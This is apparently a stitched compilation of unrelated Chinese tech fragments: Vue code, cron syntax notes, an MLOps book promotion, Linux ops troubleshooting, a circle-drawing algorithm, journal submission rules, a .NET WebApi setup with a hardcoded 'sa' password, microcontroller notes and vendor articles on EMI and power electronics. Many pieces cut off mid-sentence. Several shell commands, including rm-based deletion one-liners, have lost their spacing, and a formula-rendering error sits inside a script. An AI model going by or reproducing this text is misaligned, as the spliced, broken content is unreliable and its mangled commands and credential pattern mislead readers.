setup(props,{expose}) {
const addFormRef = ref<FormInstance>({}); // 灰度抽屉组件ref
}
const handleValidate = (key) => {
return new Promise((resolve, reject) => {
addFormRef?.value[key].validate(async (valid: any, fields: any) => {
if (valid) {
resolve(true)
} else {
resolve(false)
return
}
})
})
}
expose({
handleValidate
})
{
formConfig.value?.[props.type]?.map((itemModel, index) => {
return (<ElCard class={`${className(style['add-card-comp'])} relative mb-[20px]`} key={itemModel.key}>
<ElForm class="w-[720px]" model={itemModel} ref={
(el) => { if (el) addFormRef.value[itemModel.key] = el }
}>
1.cron表达式格式: {秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)}
2.cron表达式各占位符解释: {秒数}{分钟} ==> 允许值范围: 0~59 ,不允许为空值,若值不合法,调度器将抛出SchedulerException异常
“*” 代表每隔1秒钟触发;
“,” 代表在指定的秒数触发,比如”0,15,45”代表0秒、15秒和45秒时触发任务
“-“代表在指定的范围内触发,比如”25-45”代表从25秒开始触发到45秒结束触发,每隔1秒触发1次
“/”代表触发步进(step),”/”前面的值代表初始值(““等同”0”),后面的值代表偏移量,比如”0/20”或者”/20”代表从0秒钟开始,每隔20秒钟触发1次,即0秒触发1次,20秒触发1次,40秒触发1次;”5/20”代表5秒触发1次,25秒触发1次,45秒触发1次;”10-45/20”代表在[10,45]内步进20秒命中的时间点触发,即10秒触发1次,30秒触发1次
{小时} ==> 允许值范围: 0~23 ,不允许为空值,若值不合法,调度器将抛出SchedulerException异常,占位符和秒数一样
{日期} ==> 允许值范围: 1~31 ,不允许为空值,若值不合法,调度器将抛出SchedulerException异常
{星期} ==> 允许值范围: 1~7 (SUN-SAT),1代表星期天(一星期的第一天),以此类推,7代表星期六(一星期的最后一天),不允许为空值,若值不合法,调度器将抛出SchedulerException异常
{年份} ==> 允许值范围: 1970~2099 ,允许为空,若值不合法,调度器将抛出SchedulerException异常
注意:除了{日期}和{星期}可以使用”?”来实现互斥,表达无意义的信息之外,其他占位符都要具有具体的时间含义,且依赖关系为:年->月->日期(星期)->小时->分钟->秒数
3.cron表达式的强大魅力在于灵活的横向和纵向组合以及简单的语法,用cron表达式几乎可以写出任何你想要触发的时间点与周期 经典案例:
“30 * * * * ?” 每半分钟触发任务
“30 10 * * * ?” 每小时的10分30秒触发任务
“30 10 1 * * ?” 每天1点10分30秒触发任务
“30 10 1 20 * ?
初始化的时候出现如下问题
此处是因为安装的mysql版本问题,首先需要确定一下系统的glibc版本,使用如下命令
rpm -qa | grep glibc 所以在下载的时候需要选择对应的下载就可以了
目录
🌟写在前面
🌟内容简介
🌟读者对象
🌟专家推荐
🌟图书目录
🌟直播预告
🌟文末福利
🦐博客主页:大虾好吃吗的博客
🦐专栏地址:免费送书活动专栏地址
写在前面 作为计算机科学的一个重要领域,机器学习也是目前人工智能领域非常活跃的分支之一。机器学习通过分析海量数据、总结规律,帮助人们解决众多实际问题。随着机器学习技术的发展,越来越多的企业将机器学习技术作为核心竞争力,并运用在实际业务中。
但是,机器学习应用落地并非一件轻松的事情,AI开发者往往需要面对各个环节的挑战。这些环节包括目标定义、数据收集、数据清洗、特征提取、模型选择、模型训练、模型部署和模型监控等,其中任何一个环节出现失误,都可能影响算法和策略在最终业务中落地的效果,造成成倍的损失。反过来看,利用工程化技术去优化模型的自学习能力,能让模型保持持续更新、迭代和演进,随着数据和业务的变化不断进行自适应,避免衰退,始终保持在最佳状态,为业务场景带来更好的效果、更多的价值。
除了效果之外,机器学习应用的开发效率也是阻碍落地的关键因素。像Google这样的互联网领头羊企业,其AI科学家与AI工程师也常常会遇到“开发一周,上线三月”的情况。因此需要针对每个模型花费数月时间进行正确性排查,覆盖模型鲁棒性、数据时序穿越、线上线下一致性、数据完整性等各个维度。
从团队协作角度来看,数据、模型、算法的开发和部署需要不同的技能和知识,需要团队敏捷地进行沟通和协作。因此,建设一种可以在任何时间、任何环境被信任的团队合作模式、沟通渠道以及反馈机制,形成一个如敏捷迭代、Kubernetes一样的事实标准,可方便AI工程师敏捷、快速地上线AI应用。
除了效果和效率两个AI开发者所关注的维度外,成本、人才、安全也是机器学习应用开发落地时需要权衡的。
成本:无论软件、硬件成本还是人力成本,企业需要在落地AI应用的效益和成本之间进行权衡,确保投入产出比是可行的,而这要求开发者对成本和产出有更加精准的预测和判断。
人才:人才短缺是一个普遍问题,哪怕是在硅谷、中关村等科技人才聚集地,具备机器学习和软件开发能力的人也是供不应求的。开发者需要更好地精进技能,规划好AI工程化的技能树和学习路径,把自己变成有竞争力的人才。
安全:几乎所有的企业都会要求AI应用背后的数据、算法和模型符合法规和标准。开发者需要确保AI应用和系统不会向企业外部泄露数据,不让非法的攻击侵入并影响业务系统。
正是在这样的背景下,MLOps快速成为机器学习生产落地中不可或缺的关键能力。构建一个靠谱、永远可以信任、从容应对新技术演进的机器学习系统,匹配让AI开发者高效且省心省力的机器学习应用开发流程,成为当前机器学习领域面临的极为关键的问题之一。
《MLOps工程实践:工具、技术与企业级应用》陈雨强 郑曌 谭中意 卢冕 等著
第四范式创始人领衔撰写
腾讯、小米、百度、网易等分享MLOps工程经验
指导企业构建可靠、高效、可复用、可扩展机器学习模型
作为当今企业和研究人员关注的热点领域,MLOps相关的知识和实践仍然相对分散,因此,迫切需要一本系统化介绍MLOps实践方法的书籍。希望本书能够:
梳理MLOps的核心概念和方法,帮助读者全面了解MLOps的基本原理;
提供实用的案例分析和操作指南,使读者能够在实际项目中应用MLOps,提高工作效率;
针对不同规模的企业和团队,给出相应的MLOps最佳实践,帮助它们量身定制MLOps策略;
探讨MLOps的未来发展趋势,以及如何将新技术方向(如人工智能伦理、可解释性等)融入MLOps实践。
MLOps实践的推广和普及需要时间和努力,希望本书可以为研究人员提供全面、系统和实用的指南,以便他们在实际应用中构建可靠、高效和稳健的机器学习模型,实现业务价值最大化。
内容简介 这是一本能指导企业利用MLOps技术构建可靠、高效、可复用、可扩展的机器学习模型,从而实现AI工程化落地的著作。本书由国内AI领域的独角兽企业第四范式的联合创始人领衔撰写,从工具、技术、企业级应用、成熟度评估4个维度对MLOps进行了全面的讲解。
本书的主要内容包括如下9个方面:
(1)MLOps的核心概念和方法,可以帮助读者全面了解MLOps的基本原理;
(2)MLOps涉及的几种角色,以及这些角色之间如何协作;
(3)机器学习项目的基础知识和全流程,是学习和应用MLOps的基础;
(4)MLOps中的数据处理、主要流水线工具Airflow和MLflow、特征平台和实时特征平台OpenMLDB、推理工具链Adlik,为读者系统讲解MLOps的技术和工具;
(5)云服务供应商的端到端MLOps解决方案;
(6)第四范式、网易、小米、腾讯、众安金融等企业的MLOps工程实践案例和经验;
(7)MLOps的成熟度模型,以及微软、谷歌和信通院对MLOps成熟度模型的划分;
(8)针对不同规模的企业和团队的MLOps最佳实践,帮助他们量身定做MLOps策略;
(9)MLOps的未来发展趋势,以及如何将新技术融入MLOps实践。
本书深入浅出、循序渐进地讲解了如何在实际项目中利用MLOps进行机器学习模型的部署、监控与优化,以及如何利用MLOps实现持续集成与持续交付等高效的工作流程。同时,本书通过企业级的MLOps案例和解决方案,帮助读者轻松掌握MLOps的设计思路以及学会应用MLOps解决实际问题。 读者对象 本书旨在帮助读者掌握MLOps技术,从而构建可靠、可重复使用和可扩展的机器学习工作流程。我们更加强调实践和操作,通过示例来帮助读者更好地理解并应用这些技术和工具。
本书适用的读者对象如下。
数据科学家和AI研究人员:希望了解如何将自己的模型和算法更有效地部署到实际生产环境,提高工作效率和质量。
机器学习工程师和DevOps工程师:想要掌握MLOps的最佳实践,以便在组织内更好地支持AI和ML项目的开发、部署与维护。
产品经理和业务负责人:希望了解MLOps的概念和实践,以便更好地推动组织内AI和ML项目的落地,提高项目成功率和产出价值。
教育者和学者:在教学和研究过程中需要掌握MLOps的理论和实践知识,以便为学生和咨询者提供指导。
专家推荐 本书作者根据自己多年在软件研发、运维、DevOps和机器学习等领域的从业经验,对MLOps这一新生事物的原理和工具进行了全面系统的介绍,并结合多家企业的实践案例总结整理出一系列MLOps最佳实践,覆盖端到端机器学习全生命周期,涉及AI科学家和AI工程师在内的多个角色,知识新颖,内容丰富,极具参考价值。相信大部分AI从业人员会从中受益,强烈推荐!
—— 崔宝秋 小米集团前副总裁
这是一本业界真正需要的书。它全面介绍了AI工程化落地的全过程,包括面对的挑战、要解决的问题、常用工具和平台,以及企业的实践案例。这样一本内容全面、翔实的工具书能让读者对AI技术在企业落地方面有比较深的认识。希望它能帮助更多企业AI的应用者、工程师跨越AI工程化的鸿沟。
—— 堵俊平 LFAI & DATA基金会前董事主席
本书介绍了MLOps的完整流程、方法论、开源工具,并包含了网易云音乐、众安保险、小米商城、腾讯金融等的一手实践案例,对行业内外的工程师都有很高的学习和参考价值。
—— 戈君 字节跳动架构师 bRPC项目创始人/Apache VP
作为运维,多多少少会碰见这样那样的问题或故障,从中总结经验,查找问题,汇总并分析故障的原因,这是一个运维工程师良好的习惯。每一次技术的突破,都经历着苦闷,伴随着快乐,可我们还是执着的继续努力,从中也积累了更多的经验,这就是实践给予我们的丰厚回报。
下面汇总了做项目过程可能出现的故障及解决方法,看看是否与你有共鸣,并对你有帮助?
常见问题解决技巧 1.shell脚本不执行
问题:
某天研发某同事找我说帮他看看他写的shell脚本,死活不执行,报错。看了下,脚本很简单,也没有常规性的错误,报“:badinterpreter:Nosuchfileordirectory”错。
看这错,我就问他是不是在windows下编写的脚本,然后在上传到linux服务器的……果然。
原因:
在DOS/windows里,文本文件的换行符为rn,而在nix系统里则为n,所以DOS/Windows里编辑过的文本文件到了nix里,每一行都多了个^M。
解决:
1)重新在linux下编写脚本;
2)vi:%s/r//g:%s/^M//g(^M输入用Ctrl+v,Ctrl+m)
附:sh-x脚本文件名,可以单步执行并回显结果,有助于排查复杂脚本问题。
2.crontab输出结果控制
问题:
/var/spool/clientmqueue目录占用空间超过100G
原因:
cron中执行的程序有输出内容,输出内容会以邮件形式发给cron的用户,而sendmail没有启动所以就产生了/var/spool/clientmqueue目录下的那些文件,日积月累可能撑破磁盘。
解决:
1)直接手动删除:ls|xargsrm-f;
2)彻底解决:在cron的自动执行语句后加上>/dev/null2>&1
3.telnet很慢/ssh很慢
问题:
某天研发某同事说10.50访问10.52memcached服务异常,让我们检查下看网络/服务/系统是否有异常。检查发现系统正常,服务正常,10.50ping10.52也正常,但10.50telnet10.52很慢。同时发现该机器的namesever是不起作用的。
原因:
becauseyourPCdoesn’tdoareverseDNSlookuponyourIPthen…whenyoutelnet/ftpintoyourlinuxbox,it’lldoadnslookuponyou。
解决:
1)修改/etc/hosts使hostname和ip对应;
2)在/etc/resolv.conf注释掉nameserver或者找一个“活的”nameserver。
4.Read-onlyfilesystem
问题:
同事在mysql里建表建不成功,提示如下:
mysql>createtablewosontest(colddname1char(1)); ERROR1005(HY000):Can’tcreatetable‘wosontest’(errno:30) 复制
经检查mysql用户权限以及相关目录权限没问题;用perror30提示信息为:OSerrorcode30:Read-onlyfilesystem
可能原因:
1)文件系统损坏;
2)磁盘又坏道;
3)fstab文件配置错误,如分区格式错误错误(将ntfs写成了fat)、配置指令拼写错误等。
解决:
1)由于是测试机,重启机器后恢复;
2)网上说用mount可解决。
5.文件删了磁盘空间没释放
问题:
某天发现某台机器df-h已用磁盘空间为90G,而du-sh/*显示所有使用空间加起来才30G,囧。
原因:
可能某人直接用rm删除某个正在写的文件,导致文件删了但磁盘空间没释放的问题
解决:
1)最简单重启系统或者重启相关服务。
2)干掉进程
/usr/sbin/lsof|grepdeleted ora25575data33uREG65,654294983680/oradata/DATAPRE/UNDOTBS009.dbf(deleted) 复制
从lsof的输出中,我们可以发现pid为25575的进程持有着以文件描述号(fd)为33打开的文件/oradata/DATAPRE/UNDOTBS009.dbf。在我们找到了这个文件之后可以通过结束进程的方式来释放被占用的空间:echo>/proc/25575/fd/33
3)删除正在写的文件一般用cat/dev/null>file
6.find文件提升性能
问题:
在tmp目录下有大量包含picture_*的临时文件,每天晚上2:30对一天前的文件进行清理。之前在crontab下跑如下脚本,但是发现脚本效率很低,每次执行时负载猛涨,影响到其他服务。
!/bin/sh find/tmp-name“picture_*”-mtime+1-execrm-f{}; 复制
原因:
目录下有大量文件,用find很耗资源。
解决:
!/bin/sh cd/tmp time=date-d“2dayago”“+%b%d” ls-l|grep“picture”|grep“ 不能识别此Latex公式: time”|awk‘{print NF}’|xargsrm-rf 复制
写在前面:关于对话框设置和组件ID设置等相关知识见专栏第一篇文章《直线绘制》
一、问题描述 利用中点画圆算法,在MFC库中绘制圆和椭圆
二、算法描述 1. 圆 易知 f c i r c l e ( x , y ) = x 2 + y 2 − r 2 f_{circle}(x,y)=x^2+y^2-r^2 fcircle(x,y)=x2+y2−r2
利用轴对称,只需要绘制第一象限内的1/4圆弧,然后对称绘制到其他三个象限即可。
第一象限上半部分的1/8圆弧(以x为增量) 我们可以通过检查 p k = f c i r c l e ( x k + 1 , y k − 1 2 ) p_k=f_{circle}(x_k+1,y_k-\frac{1}{2}) pk=fcircle(xk+1,yk−21) 的符号来判断下一个点绘制的位置
设置该段圆弧绘制的起始点为 ( 0 , r ) (0,r) (0,r) ,并据此计算出 p 0 = f c i r c l e ( 0 + 1 , r − 1 2 ) = 5 4 − r p_0=f_{circle}(0+1,r-\frac{1}{2})=\frac{5}{4}-r p0=fcircle(0+1,r−21)=45−r
官网信息来源:RA-L Information for Authors
期刊范围 RA-L 的范围是发表同行评审文章,及时、简明地介绍创新研究理念和应用成果,报道机器人和自动化领域的重要理论发现和应用案例研究。
RA-L 关键词 具体涉及此处列出的主题领域和关键词。所有关键词均应解释为要求与机器人和/或自动化相关。例如,"深度学习方法 "代表 “机器人和自动化中的深度学习方法”。
下面的网站列出了RA-L的关键词:RA-L Keywords
关键词首先按首先按字母顺序排列,然后按主题领域排列。
提交网站 RA-L 和带会议选项的 RA-L 论文通过 Paperplaza 系统提交:ras.papercept.net/journals/ral。投稿前请务必阅读该网页的全部内容。
提交类型 Letters RA-L 将发表汇报创新观点和成果的稿件,这些观点和成果需要以简明扼要的形式快速发表。
长度为六页,采用两栏 IEEE 格式(详见下文),包括图表和参考文献,最多可增加两页,但需支付额外页数费用,最多不超过八页。- 欢迎加入多媒体资料–视频、数据存储库、代码源等。其他补充材料,如附录,不能超过允许的 8 页。
RA-L 是一份电子版混合开放获取期刊。作者提供的最终版本将迅速发布在 IEEE XPlore 上,不久后将被编辑过的 XML 标记版本取代。
RA-L 全年开放投稿。来稿将在收到后六个月内发表或被退稿。 RA-L 论文在接受后很快就会在网上发表,因此作者应在投稿前完成知识产权/专利步骤。
RA-L 采用单盲审稿: 本期刊中的文章均按照《IEEE 出版服务与产品委员会操作手册》(https://pspb.ieee.org/images/files/files/opsmanual.pdf) 中规定的要求进行同行评审。每篇发表的文章均由至少两名独立审稿人采用单盲同行评审程序进行评审,即作者不知道审稿人的身份,但审稿人知道作者的身份。
Review 审稿程序 首次投稿后,作者将收到稿件接收通知和负责审稿的《RA-L》编辑的通知。
作者将在投稿后三个月内收到初审决定和审稿意见。第一次决定有三种类型: 接受发表 (Accept for Publication)、拒绝 (Reject) 或 修改并重新提交 (Revise and Resubmit)。
如果第一次决定是 “接受发表”,作者须在两周内提交论文的最终版本 (camera-ready version)。如果第一项决定是 “修改并重新提交”,作者可以重新提交修订版,并附上作者回复和 Diff 文件,说明如何处理编辑和审稿人的意见。修改稿必须在收到决定后 30 天内重新提交。如果未能在这一期限内完成,论文将自动转为 "
1、发布到文件
2、发布到iis,例如:
3、修改web.config文件
4、访问
访问时需要在后面加上/swagger/index.html
或者直接在postman中调用
1、创建WebApi项目
2、要连接数据库 需引用如下包
3、创建数据库表类
4、将连接字符串写入配置文件中
"ConnectionStrings": { "Junhe_Train_TestEntities": "Data Source=devserver01;initial catalog=Junhe_Train_Test;User ID=sa;Password=password01!;multipleactiveresultsets=True;integrated security=False;pooling=false;TrustServerCertificate=true" } 添加TrustServerCertificate=true 可避免出现 SSL 证书链不受信任的问题
5、创建dataContext类,
using Microsoft.EntityFrameworkCore; namespace WebApi { public class DataContext:DbContext { public DataContext() : base() { } protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder) { // 获取appsettings.json配置信息 var config = new ConfigurationBuilder() .SetBasePath(System.IO.Directory.GetCurrentDirectory()) .AddJsonFile("appsettings.json") .Build(); // 获取数据库连接字符串 string conn = config.GetConnectionString("Junhe_Train_TestEntities"); //连接数据库 optionsBuilder.UseSqlServer(conn); } public DbSet<tCourseType> tCourseType { get; set; } // 名称必须与数据库表名相同 } } 6、数据库就连上了调用查看数据
什么是单片机最小系统?
单片机最小系统:单片机最小应用系统,使用最少的元件组成单片机能够工作的系统。
单片机最小系统三要素:电源模块,(晶振/时钟)振荡电路模块,复位电路模块
1,电源模块:供电。VCC端接正向5V电压,GND端接地。
51单片机全部引脚图(百度)
但是在protues里面看不到89c51 的 VCC和GND引脚,这是因为protues里面已经默认接上电源了,然后把电源脚隐藏起来了,所以在protues环境下构造最小系统时,可以忽略电源模块。
Protues中51单片机引脚
2,(晶振/时钟)振荡电路模块:
存在原因:由于单片机内部都是由许多诸如触发器等构成的时序电路组成的,只有通过时钟才能使单片机一步步的工作,具体工作时单片机外部接上振荡器(也可以是内部振荡器)提供高频脉冲经过分频处理后成为单片机内部时钟信号,作为片内各部件协调工作的控制信号。如果没有时钟信号,触发器的状态就不能改变,单片机内部的所有电路在完成一个任务后将最终达到一个稳定的状态而不能在继续其他任何工作。所以需要外接一个时钟电路提供时钟信号。(想知道触发器,时序电路需要回顾数电)
工作原理:
时钟电路由晶体振荡器,晶体控制芯片,电容组成。(具体原理还没搞清楚)
12MHz晶振的机器周期是1us。
作用:保证单片机各个部分同步工作
protues环境下晶振电路模块
3.复位电路模块:
关于复位电路工作原理详解,
http://t.csdn.cn/a5wW0,
http://t.csdn.cn/Bo5dk
这两篇我比较能看懂理解
作用:利用复位电路把系统恢复到起始状态
protues中高电平复位电路模块
4.补充:
需要在P0口处接一个排阻。51单片机PO口内部没有上拉电阻,为高阻状态,驱动能力小,所以不能正常地输出高/低电平,因此该组I/O口在使用时务必要外接上拉电阻,一般我们选择接入10k欧姆的上拉电阻。
protues中51单片机最小系统
下一篇文章:自学笔记:使用protues构造单片机最小系统
借鉴文章:
《单片机应用技术》
单片机各个引脚的作用,http://t.csdn.cn/iZ9v6
菜鸟中的菜鸟,文章是拼凑出来的笔记,没有系统学习,所以几乎没带自己的思考。接下来会逐步锻炼自己的
【已解决】Python打包文件执行报错:ModuleNotFoundError: No module named 'pymssql' 1、问题2、原因3、解决 1、问题 今天打包一个 tkinter + pymssql 的项目的时候,打包过程很顺利,但是打开软件的时候,报错 ModuleNotFoundError: No module named 'pymssql' 如下图:
2、原因 查了好多资料才知道:打包程序无法判断 pymssql 动态调用,其中的 _mssql 方法是动态调用的,就是用才调用,不会一开始就调用,于是打包程序就不知道要不要包进 exe 里面,估计打包的时候不会去尝试运行 pymssql 里面的函数,因此也无法得知动态调用的模块,解决方案就是在程序最开始手动调用,为了最小的程序开销,调用一下模块的版本信息就可以了。
3、解决 在 import pymssql 下加上
from pymssql import _mssql from pymssql import _pymssql import uuid import decimal 重新打包运行,问题解决:
MPS | 利用滤波电容与电感抑制辐射EMI --- 特性分析与设计方法 美国佛罗里达大学电子与计算机工程系终身正教授,IEEE Fellow (IEEE 会士) --- 王硕老师,以一个双有源桥变换器为例,分享了滤波元件的特性与设计方法。
利用滤波电容以及电感来抑制EMI是常见的降噪手段之一。
对于辐射EMI来说,
一、双有源桥变换器的辐射EMI模型
图1 双有源桥变换器的拓扑与实物图。
图1为双有源桥变换器的拓扑以及实物图。从图1中可见,输入和输出各有一段导线。根据我们之前的分享可知,变换器的输入与输出线相当于一对双极天线(Dipole Antenna)。这个高频的共模电压会在输入、输出线上激励出高频的共模电流IA,并以电磁场的形式向外辐射能量。如图2(a)所示,天线的能量可以看成以下几部分:一部分在两极之间相互转换,并不辐射到空间去,这部分无功对应的阻抗可以用jXA表示;一部分是发射出去的能量,用Rr来表示;最后一部分是天线上的电流在其本身电阻上产生的损耗,以Rl表示。而变换器的模型则可以通过一个等效噪声源VS和源阻抗(实部RS和虚部XS)来表示。因此,一个通用的辐射EMI模型即可通过图2(b)的形式来表示。
图2 (a)双极天线辐射原理;(b) 变换器辐射EMI模型
因此,共模电流IA的幅值可以根据图2(b)得出:
其中RA为Rl与Rr之和, KI为电流系数。显然, KI与共模电流成正比。
在辐射EMI测量中,实际测到的是变换器在一定距离外的某点产生的电磁场强度。以电场为例,在距离变换器为r的位置,电场强度的最大值Emax可以由(2)式得到:
其中,VS代表噪声源,η为波阻抗,D为方向性,表示该方向上的最大功率密度与半径为r的球面平均功率密度之比,KE为电场强度系数。显然, KE与辐射电场强度成正比。
天线阻抗和变换器的阻抗都可以通过测试得到,具体的方法可以参考之前的讲座(点击观看:高频共模电流、电压和阻抗的测量)。
二、辐射EMI尖峰产生的原因
现在让我们分析下KI和KE的表达式。如式(3 - 4)所示,由于XS和XA既可能是容性又可能是感性,它们有可能会相互抵消,此时如果RS + RA较小,则会在频谱上面观察到一个尖峰。
图3为双有源桥变换器源阻抗和天线阻抗的测量结果。我们可以看到XS和XA的曲线一共发生了四次交越,但只有当它们相位相反时,才意味着这两部分是抵消的(①和②处)。另外,由于在②处,RA有近千欧姆,因此此时不太会出现尖峰;相比之下,①处的RA仅约100欧姆。①处的频率约为167MHz。
图3 双有源桥变换器源阻抗和天线阻抗
图4所示为KI和KE的曲线,以及共模电流和辐射强度的实测值。从图4中可以看到,在167MHz处,由于XS和XA抵消且RS + RA较小,我们确实可以观察到一个尖峰。且实验结果也可以验证这一点。
图4 (a)KI和KE的计算结果(b)共模电流和辐射强度的实测值
三、共模电感对辐射EMI的影响及其设计方法
为了抑制辐射EMI,一种常见措施是在输入或输出端加一个共模电感。电感的高频模型一般需要考虑其等效电容(CP)以及等效电阻(RP)的影响(如图5所示)。在辐射模型中,为了模型的简化,可以将电感的模型写成电阻(RCM)与电抗(XCM)的串联形式,并合并到之前的辐射模型中,此时RCM与XCM都会随着频率变化。而模型中的电流系数及电场强度系数也修正为式(5-6)。
图5 共模电感的模型及考虑电感后的辐射模型
由此可见,共模电感对辐射有三个影响:(1)辐射的谐振频率将会偏移;(2)系数中的电阻将会变大;(3)系数中的电抗发生了变化。我们将从电抗和电阻分别分析。
电感的电抗是可正可负的,根据图5的模型可知,若频率小于fCM,则电感表现为感性(XCM为正);若频率高于fCM,则电感表现为容性(XCM为负)。fCM即为电感的自谐振频率,其表达式如(7)所示:
对于电抗XCM来说,在原先的谐振频率(167MHz)处,若XCM为负(容性),则新的谐振频率将变高;若XCM为正(感性),则新的谐振频率将变低。由于频率低时噪声源VS较强,我们往往不希望频率下移,因此应当合理选择电感,使得此时XCM为负。另外,我们需要避免加入电感后,在更低频的地方产生一个新的谐振点。由于天线阻抗XA在低频时表现为容性,因此,当频率低于fCM(即XCM仍为感性)的时候,XCM的值应始终小于XA,以避免发生阻抗交越。
对于电阻RCM来说,可以证明,其最大值位于fCM处,因此,可选择合适的电感使得fCM尽可能靠近新的谐振频率处,以避免此处产生尖峰。
图6(a)即为一个符合以上条件的共模电感的阻抗曲线。图6(b)则比较了加入共模电感前后,KI和KE的曲线。在电路中串联了共模电感后,KI和KE降低了约13dB,可见效果显著。
图6 (a)共模电感阻抗曲线 (b)有无共模电感时的KI和KE的比较。
图7为电路中有、无共模电感时,共模电流和辐射EMI的测试结果。从结果中明显可以看到,加入共模电感可以抑制此前EMI的尖峰。而实际结果也符合KI和KE的变化幅度。在增加了共模电感后,167MHz的噪声基本满足标准,但裕度较小;30MHz处仍然高于标准。此时我们也可以考虑利用其他的滤波元件进行抑制。买电子元器件现货上唯样商城
图7 有、无共模电感时的共模电流和辐射EMI对比
四、Y电容对辐射EMI的影响及其设计方法
另外一种常见的抑制EMI的手段时在输入和输出直流母线上跨接一个Y电容。用同样的分析手段,我们可以将其等效为电阻(RY)与电抗(XY)的串联形式,如图8所示。
图8 考虑Y电容后的辐射EMI模型
通常来说, Y电容的等效串联电阻RY(也即通常所说的ESR)是非常小的,可以忽略。此外,只有当Y电容的阻抗显著小于天线阻抗的时候,它才能起到旁路EMI噪声的效果,因此我们可以假设XY ≪ XA,在这两个假设下,我们可以得到修正后的电流系数及电场强度系数如下:
由于我们需要在30MHz以及167MHz进一步抑制EMI噪声,我们分别在这两个频段进行分析:
根据图3的阻抗曲线,30MHz处XA ≫ RA, XS, RS。因此,比较KI,Y与KI(或KE,Y与KE)可知,Y电容的插入损耗如式(10)所示:
VBsemi | 探讨 SiC MOSFET 的短路检测和保护技术 SiC MOSFET 凭借着耐高压、耐高频、耐高温等独特优势,受到许多人关注。
SiC MOSFET 凭借着耐高压、耐高频、耐高温等独特优势,受到许多人关注。在电子应用中经常会出现短路问题,今天微碧VBsemi就 SiCMOSFET的短路检测情况进行展开了解。
常见的SIC MOSFET的短路类型有两种:软开关短路和负载短路故障。
软开关短路:在开关操作过程中,由于某种原因导致开关器件无法及时断开电流,从而导致电流在开关器件上持续流动,出现短路现象。
负载短路故障:负载端突然出现短路。由于负载器件损坏、接线错误或外部环境影响等原因引起的。当负载短路发生时,电流会迅速增加,导致SiC MOSFET过载并可能损坏。
一般SIC MOSFET会出现短路的原因:
1.过电压:长时间受到超过其额定电压的电压,导致绝缘层击穿或氧化层破裂。
2.过电流:SiC MOSFET 被额定电流以上的过大电流击穿,导致输电通道内部结构受损,导致短路。
3.温度过高:SiC MOSFET 运行在超过其允许的温度范围内时,温度过高会引起材料的热膨胀、电子迁移导致短路。
4.设计问题:材料选择不当、电压和电流过大、电极之间的间隙不合适等都可能引起短路。
SiC MOSFET的短路检测和保护可以通过以下几种方法实现:
1.短路检测方法:可以使用电流检测技术来实现短路检测。
例如使用:霍尔传感器或电流变压器,因此来检测电流变化。当电流超过设定的阈值时,可以判断出发生了短路故障。
2.短路保护技术:在检测到短路故障后,取一些保护措施。
使用过流保护电路来切断电流,以避免电流过大损坏器件。
使用温度保护电路来监测芯片温度,当温度超过设定值时,自动切断电流。
使用短路保护电路来监测电流上升速度,当电流上升速度过快时,可以判断为短路故障并进行保护。
3.短路关断策略:在短路故障发生时,可以选择快速关断SiC MOSFET来避免损坏。通过使用适当的关断电路,可以实现快速关断时间,提高短路保护的效果。
4.其它保护措施:采用电流限制技术来限制电流,以防止过大电流损坏器件。在设计电路时,还可以考虑电路的布局和散热设计,以提高SiC MOSFET的短路承受能力。当然,选择性能较好的SIC MOSFET产品也是很重要的。买电子元器件现货上唯样商城
Ø碳化硅MOS管
微碧碳化硅MOS管(SiC MOSFET)采用了硅和宽带隙技术,具有更大的功率效率、更小的尺寸、更轻的重量、更低的总体成本等优势。适用于600V以上的高压场景,包括光伏、新能源汽车、充电桩、风电、轨道交通等电力电子领域。
安森美 | 适配于氮化镓开关器件的高频小体积照明电源方案 随着物联网,尤其是智能照明和智能家居的发展,高效高性能的小体积电源越来越被市场所需求。
随着物联网,尤其是智能照明和智能家居的发展,高效高性能的小体积电源越来越被市场所需求。如何能在电源体积做得更小的情况下,依然能够保证最好的性能? 安森美(onsemi) 提供基于NCL2801+NCP13992的一整套你所需要的方案:适配于氮化镓 (GaN) 开关器件,工作于高频开关频率场合下的小体积PFC & LLC方案。
NC L2801是安森美开关电源方案中PFC控制芯片家族的一员。内置谷底计数频率返走(VCFF)、谷底开通等技术,提供优秀的总谐波失真(THD)以及功率因数(PF)值表现。适用于LED照明、PC电源以及平板电视等要求高PF值、低THD的应用场合。
NCP13992作为安森美LLC谐振半桥控制器家族的一员,在NCP1399优异表现的基础上,创新的增加了轻载工作模式(LL mode),Quiet SKIP模式,显著提升了轻载情况下整机的效率,并且有效抑制了打嗝模式下的噪声问题。
产品方案简介
1. 方案特点:
使用临界模式的电流型PFC控制器NCL2801,内部集成谷底开通技术,在具备优良的THD和PF值性能基础上,还拥有优秀的效率表现;
使用业内知名的电流型LLC拓扑结构驱动芯片NCP13992,在实现高频开关工作的基础上,实现电源的小型化,并且具备优秀的效率表现;
简易的外部线路,有利于简化PCB布板工作;
LLC满载工作频率300KHz左右,完美适配目前市场火热的GaN产品,实现LLC部分高频化设计;
完善的保护:过温保护(OTP),过压保护(OVP),过流保护(OCP)等;
NCP13992在轻载情况下进入轻载(LL)模式以及跳周期(SKIP)模式,使整机拥有优秀的轻载效率以及待机功耗表现;
2. 应用领域:
高PF值,低THD等应用场合,比如LED照明行业;
高效率,高工作频率,高功率密度要求应用场合AC-DC开关电源;
方案应用实例
1. 方案实物图:
2. 典型应用原理图以及线路介绍:
PFC部分使用安森美的NCL2801产品,SOIC-8封装,外围线路简单。FB脚为输出电压采样信号输入端,作为反馈信号输入端的同时还有输出电压OVP功能保护。MULT脚外置电阻分压,采样输入AC电压,用于判定输入电压范围以及设置BO功能保护。在设计过程中,还需要注意CS脚外部电阻(R10)的取值:R10阻值固定为4档,分别是100Ω,330Ω,620Ω以及1000Ω。R10的取值大小决定了负载大小变化时,MOS管开关过程中的第一个固定跳变CTRL脚的电压大小,R10取值越大,第一个谷底跳变时的负载就越大。我们推荐使用100Ω或者330Ω电阻,在拥有较好THD表现的同时,也有较好的效率表现。
